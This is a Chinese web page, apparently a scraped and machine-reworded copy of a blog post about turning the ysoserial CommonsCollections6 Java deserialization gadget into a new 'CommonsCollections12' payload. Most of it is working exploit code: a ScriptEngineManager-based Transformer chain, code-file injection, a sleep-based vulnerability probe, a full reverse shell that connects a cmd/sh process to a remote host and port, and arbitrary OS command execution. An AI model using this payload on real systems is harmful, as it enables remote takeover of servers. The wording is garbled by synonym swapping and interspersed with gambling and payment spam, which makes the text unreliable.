电银付使用教程(dianyinzhifu.com):CommonsCollections12之CommonsCollections6革新设计

admin/2020-12-25/ 分类:科技/阅读:

0x01 前言

最近在研究某XXXC的一个servlet反序列化破绽时发现,第一版payload前期使用HashMap控制其filename和path,多余的post流直接作为文件填充的内容.随后查看了补丁,发现了其并未修复反序列化破绽,只是对filename和path做了些检查和控制.而剩下的反序列化问题依然存在,随即找到了CommonsCollections6这条gadget可以使用.但对于一个性格色彩带有黄色属性(完善主义者)的我来说,这条gadget只能执行个单下令并不完善.

0x02 革新前的剖析

既然不完善,那么就亲自操刀来革新一下.
首先来看看chain.

java.util.HashMap.readObject() java.util.HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() 

可以看出这条gagdet会反射使用Runtime的相关方法来执行OS下令.

Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, cmd), new ConstantTransformer(1)}; 

若是使用Runtime势必只能执行单下令,执行庞大下令只能使用在线的Runtime编码接口,编码为base64,而Win系统得借助powershell,但实战遇到的机械为2003时不在少数,2003的机械并无powershell.且写文件的操作也会非常庞大.我花了一段时间以后,发现可以反射使用javax.script.scriptEngineManager来实现我的想法.

0x03 JDK内置的JS引擎

科普一下javax.script.scriptEngineManager.这个类在jdk中可以用以执行一些剧本语言,例如对照盛行的有Javascript、Scala、JRuby、Jython和Groovy等.而JavaSE6中自带了Javascript语言的剧本引擎,基于Mozilla的Rhino实现,可以通过三种方式查找剧本引擎:

  • 1.通过剧本名称获取:
    scriptEngine engine = new scriptEngineManager().getEngineByName("Javascript"); 
  • 2.通过MIME类型来获取:

    scriptEngine engine = new scriptEngineManager().getEngineByExtension("js"); 
  • 3.通过MIME类型来获取:

    scriptEngine engine = new scriptEngineManager().getEngineByMimeType("text/javascript"); 

    ,,,, 示例:
    例如我们要和js混编打印一个HelloWord:

    scriptEngineManager manager = new scriptEngineManager(); scriptEngine engine = manager.getEngineByName("Javascript"); engine.eval("println('Hello Word');"); 

    固然反射的写法如下:

    Class clazz = Class.forName("javax.script.scriptEngineManager"); Object manager = clazz.getDeclaredConstructor().newInstance(); Method getEngineByName = clazz.getDeclaredMethod("getEngineByName", String.class); Object scriptEngine = getEngineByName.invoke(manager,"Javascript"); Method eval = scriptEngine.getClass().getMethod("eval",String.class); eval.invoke(scriptEngine,"println('Hello Word');"); 

    ,,,, 注重事项:
    由于是和js混编,以是要充实注重js的一些语法和Java语法的区别

    ,

    币游官网_9cx.net

    欢迎进入币游官网(币游国际官网),币游官网:www.9cx.net开放币游网址访问、币游会员注册、币游代理申请、币游电脑客户端、币游手机版下载等业务。

    ,
  • 1.变量命名
    js是弱类型的语言,所有变量使用var即可,且不需要声明类型也不支持类型转换.
    例如 String a 和 int b需要写为var a 和 var b.
  • 2.异常捕捉
    异常不用声明类型
    例如
    try { var a; } catch (e){ } 
    ,,, 0x04 最先革新
    了解了特征以后,最先我们的革新设计.我们唯一需要大改的地方就是我们的Transformer.我们修改为如下:
    String[] execArgs = new String[]{cmd}; Transformer[] transformers = new Transformer[]{new ConstantTransformer(scriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"Javascript"}), new InvokerTransformer("eval", new Class[]{String.class}, execArgs), new ConstantTransformer(1)}; 
    可以看到一切功效由cmd控制.
    我增添支持了四种功效.
  • 1.代码注入
    我们可以注入我们自己的代码.
    如果用户下令以CodeFile:开头,只需要将要注入的js代码放入文件中即可

    if (command.startsWith("CodeFile:")) { File codeFile = new File(command.substring(9)); StringBuilder result = new StringBuilder(); try { BufferedReader br = new BufferedReader(new FileReader(codeFile)); String s = null; while((s = br.readLine()) != null) { result.append(s   "n"); } br.close(); } catch (Exception var20) { var20.printStackTrace(); } cmd = result.toString(); System.err.println("----------------------------------Java codefile start----------------------------------"); System.err.println(cmd); System.err.println("-----------------------------------Java codefile end-----------------------------------"); } 

    例如CodeFile:1.java, 1.java内容如下:

    var a; java.lang.Thread.sleep(3000); 
  • 2.延迟注入:
    我们可以使用线程壅闭来做到延迟注入,判断是否存在破绽,就算是机械不出网依然可以判断.
    if (command.startsWith("sleep-check-")) { long i = Integer.parseInt(command.split("[-]")[2]) * 1000; cmd = String.format("java.lang.Thread.sleep(%s);",i); } 
    如果用户下令以sleep-check-开头,例如sleep-check-10,则延迟10s,用户可以通过查看response时间来判断是否存在破绽.
  • 3.shell反弹:
    我们除了使用原生反弹以外,实在Java中内置java.net.Socket可以反弹shell.由于jdk是跨平台的,以是无关机械类型,2003的机械依然可以借助该api而不用借助powershell反弹shell.
if (command.toLowerCase(Locale.ENGLISH).startsWith("connectback:")) { if (command.split(":").length != 3) { throw new IllegalArgumentException("Connect back command format is connectback:<host>:<port> (got "   command   ")"); } String host = null; host = command.split(":")[1]; int port = 0; try { port = Integer.parseInt(command.split(":")[2]); } catch (NumberFormatException var14) { throw new IllegalArgumentException("Invalid port specified for connect back command ("   command.split(":")[2]   ")"); } if (port < 1 || port > 65535) { throw new IllegalArgumentException("Invalid port specified for connect back command ("   port   ")"); } cmd = String.format("var host = "%s";n"   "var port = %d;n"   "var p;n"   "var os = java.lang.System.getProperty("os.name").toLowerCase(java.util.Locale.ENGLISH);n"   "if(os.contains("win")){n"   " p = new java.lang.ProcessBuilder("cmd").redirectErrorStream(true).start();n"   " }else{n"   " p = new java.lang.ProcessBuilder("sh").redirectErrorStream(true).start();n"   " }n"   "var s = new java.net.Socket(host,port);n"   "var pi = p.getInputStream(),pe = p.getErrorStream(),si = s.getInputStream();n"   "var po = p.getOutputStream(),so = s.getOutputStream();n"   "while(!s.isClosed()) {n"   "while(pi.available()>0) {n"   "so.write(pi.read());n"   "}n"   "while(pe.available()>0) {n"   "so.write(pe.read());n"   "}n"   "while(si.available()>0) {n"   "po.write(si.read());n"   "}n"   "so.flush();n"   "po.flush();n"   "java.lang.Thread.sleep(50);n"   "try {n"   "p.exitValue();n"   "break;n"   "}n"   "catch (e){n"   "}n"   "};n"   "p.destroy();n"   "s.close();",host,port); } 

例如反弹回127.0.0.1的80端口,则为connectback:127.0.0.1:80.

  • 4.原始下令执行:
    这个就是通俗的下令执行,自动判断os类型以后加入os底层.

    cmd = "var isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");nvar cmd = new java.lang.String(""   command   "");n"   "var listCmd = new java.util.ArrayList();n"   "var p = new java.lang.ProcessBuilder();n"   " if(isWin){n"   " p.command("cmd.exe", "/c", cmd);n"   " }else{n"   " p.command("sh", "-c", cmd);n"   " }n"   "p.redirectErrorStream(true);n"   "var process = p.start();"; 

    ,,, 0x05 革新完成
    新建一个ysoserial.payloads.CommonsCollections12打包进ysoserial以后即可.

  • 1.代码注入测试

  • 2.延迟注入测试

  • 3.反弹shell测试

  • 4.通俗下令执行

0x06 后面的话

谢谢Bearcat、Ntears、cafebabe提供相关模块的实现思绪.


阅读:
广告 330*360
广告 330*360
阳光在线企业邮局
微信二维码扫一扫
关注微信公众号
新闻自媒体 Copyright © 2002-2019 阳光在线企业邮局 版权所有
二维码
意见反馈 二维码